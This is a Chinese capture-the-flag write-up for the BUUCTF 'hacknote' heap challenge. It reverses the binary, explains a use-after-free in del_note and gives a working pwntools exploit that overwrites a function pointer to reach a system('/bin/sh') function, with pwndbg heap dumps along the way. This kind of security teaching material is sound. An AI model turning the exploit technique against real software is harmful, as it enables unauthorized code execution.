一、题目来源
BUUCTF-Pwn-hitcontraining_uaf
二、信息搜集
通过 file 命令查看文件类型:

通过 checksec 命令查看文件使用的保护机制:

三、反汇编文件开始分析
将题目给的二进制文件丢入 IDA Pro 当中开始反汇编。
程序的主要功能菜单函数已经写的很清楚了:
int menu()
{puts("----------------------");puts(" HackNote ");puts("----------------------");puts(" 1. Add note ");puts(" 2. Delete note ");puts(" 3. Print note ");puts(" 4. Exit ");puts("----------------------");return printf("Your choice :");
}
1、add_note()
int add_note()
{int result; // eaxint v1; // esichar buf[8]; // [esp+0h] [ebp-18h] BYREFsize_t size; // [esp+8h] [ebp-10h]int i; // [esp+Ch] [ebp-Ch]result = count;if ( count > 5 )return puts("Full");for ( i = 0; i <= 4; ++i ){result = *((_DWORD *)¬elist + i);if ( !result ){*((_DWORD *)¬elist + i) = malloc(8u);if ( !*((_DWORD *)¬elist + i) ){puts("Alloca Error");exit(-1);}**((_DWORD **)¬elist + i) = print_note_content;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v1 = *((_DWORD *)¬elist + i);*(_DWORD *)(v1 + 4) = malloc(size);if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);puts("Success !");return ++count;}}return result;
}
笔记(note)的创建过程:
- 最多只能创建 5 个笔记;
- 创建的笔记会通过一个名为“notelist”的“二维数组”来管理,其中:
notelist[i][0]中存储的是函数print_note_content的地址,分配的 chunk 的大小为 8 字节;notelist[i][1]中存储的笔记的内容的所在地址,分配的大小由用户自己指定(size)。
稍微解释一下为什么上面的二维数组被我打上了引号,从伪代码上看,将 notelist 理解成二维数组似乎并没有什么大的问题(根据原理数组 a[n] 的等价写法为 *(a+n)),但其实它更像是个结构体。因为,真正的二维数组 a[R][C] 要求的是整块 R×C 连续内存,但这明显不是(通过 malloc 动态分配的)。这个结构体可以表示成:
// 32-bit 语义
struct Note {int (*print_note_content)(); // notelist[i][0]void *content; // notelist[i][1]
};
struct Note *notelist[5];
顺带查看 print_note_content 函数的作用:
int __cdecl print_note_content(int a1)
{return puts(*(const char **)(a1 + 4));
}
可以看到,其实这个函数是带参数的,IDA 并没帮我们显示出来,但是看里面的 puts 函数我们就应该知道,这传进来的就是本 note 的结构体的初始地址。因此,这个函数的作用就是打印 note 的内容。
2、del_note()
int del_note()
{int result; // eaxchar buf[4]; // [esp+8h] [ebp-10h] BYREFint v2; // [esp+Ch] [ebp-Ch]printf("Index :");read(0, buf, 4u);v2 = atoi(buf);if ( v2 < 0 || v2 >= count ){puts("Out of bound!");_exit(0);}result = *((_DWORD *)¬elist + v2);if ( result ){free(*(void **)(*((_DWORD *)¬elist + v2) + 4));free(*((void **)¬elist + v2));return puts("Success");}return result;
}
不难理解,输入 index 下标,通过 notelist 来查找对应的 note 然后进行 free() 操作。
但是,这里 free() 完成之后,并没有执行指针归“NULL”的操作,因此存在利用 UAF 的可能。
3、print_note()
int print_note()
{int result; // eaxchar buf[4]; // [esp+8h] [ebp-10h] BYREFint v2; // [esp+Ch] [ebp-Ch]printf("Index :");read(0, buf, 4u);v2 = atoi(buf);if ( v2 < 0 || v2 >= count ){puts("Out of bound!");_exit(0);}result = *((_DWORD *)¬elist + v2);if ( result )return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2));return result;
}
同样,输入 index 下标,通过 notelist 定位指定 note,然后调用 print_note_content 函数
四、思路
在程序的 .text 段,我们能找到一个叫做 magic 的函数,其代码:
int magic()
{return system("/bin/sh");
}
我们如果能通过一些手段,来执行这个函数的话,那么就能 getshell 了。
目前,分析出来的仅有的手段就是 UAF,而且存在函数调用的部分都是和 print_note_content 有关的。
如果我们能将 print_note_content 函数替换成 magic 函数,那么事情就成了。
要想实现替换,就得想办法在那个存放函数地址的、8 字节大小的 chunk 中写入数据。直接通过 add_note() 写是不行的,因为只能写到 content 中。因此,想到先 free 再 malloc 的操作,因为存放函数地址的地方本质上也是一个 chunk,既然是个 chunk,我们就可以先 free 掉,再 malloc 回来,将其作为 content 部分。
替换完成之后,我们只需要再次调用 print_note 即可实现 magic 函数的执行。
五、Poc 构造
from pwn import *context(arch="i386",os="linux",log_level="debug")p = process("./hacknote")
elf = ELF("./hacknote")
# p = remote("node5.buuoj.cn",27273)def addnote(size = b'16',content = b'A'*16):p.sendlineafter(b'Your choice :',b'1')p.sendafter(b'Note size :',size)p.sendafter(b'Content :',content)def delnote(index):p.sendlineafter(b'Your choice :',b'2')p.sendafter(b'Index :',index)def printnote(index):p.sendlineafter(b'Your choice :',b'3')p.sendafter(b'Index :',index)def m_exit():p.sendlineafter(b'Your choice :',b'4')addnote()
addnote()delnote(b'0')
delnote(b'1')magic = 0x08048945addnote(size=b'8',content=p32(magic))printnote(index=b'0')# gdb.attach(p)
# pause()p.interactive()
前面一些定义的函数是为了实现程序中对应的功能。
首先,我们申请了两个 note:
addnote()
addnote()
此时可以动态调试看看:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9634008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x9634198
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x96341a8
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x96341c8
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x96341d8
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x96341f8
Size: 0x21e08 (with flag bits: 0x21e09)
可以看到,四个 chunk 已经申请完毕了,其中两个是存放函数地址的,两个是存放 content 的(我设置的 size 大小为 16,这是为了避免和 size 大小为8 的、存放函数的那个 chunk 在 free 之后放入同一个 bin 中)。
我们也可以稍微验证一下:
pwndbg> telescope 0x9634198
00:0000│ 0x9634198 ◂— 0
01:0004│ 0x963419c ◂— 0x11
02:0008│ 0x96341a0 —▸ 0x80485fb (print_note_content) ◂— push ebp
存放的地址往后移了 8 字节是因为 chunk 的数据结构,在 user data 前面还有pre_size(0) 和 size(0x11) 两个成员变量。
pwndbg> telescope 0x96341a8
00:0000│ 0x96341a8 ◂— 0
01:0004│ 0x96341ac ◂— 0x21 /* '!' */
02:0008│ 0x96341b0 ◂— 'AAAAAAAAAAAAAAAA'
我默认的写入内容就是 16 字节的 A。
接下来,我们将这两篇 note 进行 delete 操作,即执行 del_note:
delnote(b'0')
delnote(b'1')
那么,这四个 chunk 都会被放入 tcache bins 中:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8a1b008
Size: 0x190 (with flag bits: 0x191)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a1bFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a1bFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a13bbbFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a13babTop chunk | PREV_INUSE
Addr: 0x8a1b1f8
Size: 0x21e08 (with flag bits: 0x21e09)
但是,此时的 listnote 中的指针并没有被置为 NULL。
此时,我们再次创建 note,这次将大小精确设置为 8 字节:
magic = 0x08048945addnote(size=b'8',content=p32(magic))
且内容写的是 magic 函数的地址。
现在发生的事情就是:因为没有指针置 NULL,因此有两个指针指向这个 8 字节大小的 chunk,其中一个能把这当成 note 的 content 部分,从而写入信息;而另一个能把这部分当成函数来调用。
由此,我们接下来只需要调用 print_note 功能,即可实现 magic 函数的调用:
printnote(index=b'0')
需要注意的是,index 应该指定为 0,因为 tcanche bin 是一个后进先出的单项链表,而我们使用 add_note 这个函数的时候,实质上会申请两个 chunk 即在 tcache bin 中的两个 8 字节大小的 chunk 都被我们申请出来了。其中,第一个 chunk 用于存放函数地址,后一个 chunk 用来存放 content,根据我们的分析,我们要利用的是后一个 chunk(这个 chunk 对应的就是当时 del_note 删除的第二个 note 的、用于存放函数地址的那个 chunk。)。
若对 index 的选择有疑问的,可以动态调试看看:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9ccb008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x9ccb198
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9ccbAllocated chunk | PREV_INUSE
Addr: 0x9ccb1c8
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9cc2d7bTop chunk | PREV_INUSE
Addr: 0x9ccb1f8
Size: 0x21e08 (with flag bits: 0x21e09)
(pwndbg 插件默认帮我们取消了 ASLR 来方便我们调试分析)不难发现,两个 8 字节大小的 chunk 都被 malloc 了出来,根据我们的分析,存放函数地址的是 0x9ccb1d0(0x9ccb1c8 + 0x8,别忘了 chunk 的数据结构) ,验证:
pwndbg> telescope 0x9ccb1c8
00:0000│ 0x9ccb1c8 ◂— 0
01:0004│ 0x9ccb1cc ◂— 0x11
02:0008│ 0x9ccb1d0 —▸ 0x80485fb (print_note_content) ◂— push ebp
存放内容的地方是 0x0x9ccb1a0(0x9ccb198 + 0x8),验证:
pwndbg> telescope 0x9ccb198
00:0000│ 0x9ccb198 ◂— 0
01:0004│ 0x9ccb19c ◂— 0x11
02:0008│ 0x9ccb1a0 —▸ 0x8048945 (magic) ◂— push ebp
和我们分析的一致,因此 index 选择的应该是 0 而不是 1。
本地 Poc 运行:

成功拿下本地 shell。
远程 Poc 执行:

成功拿下 flag。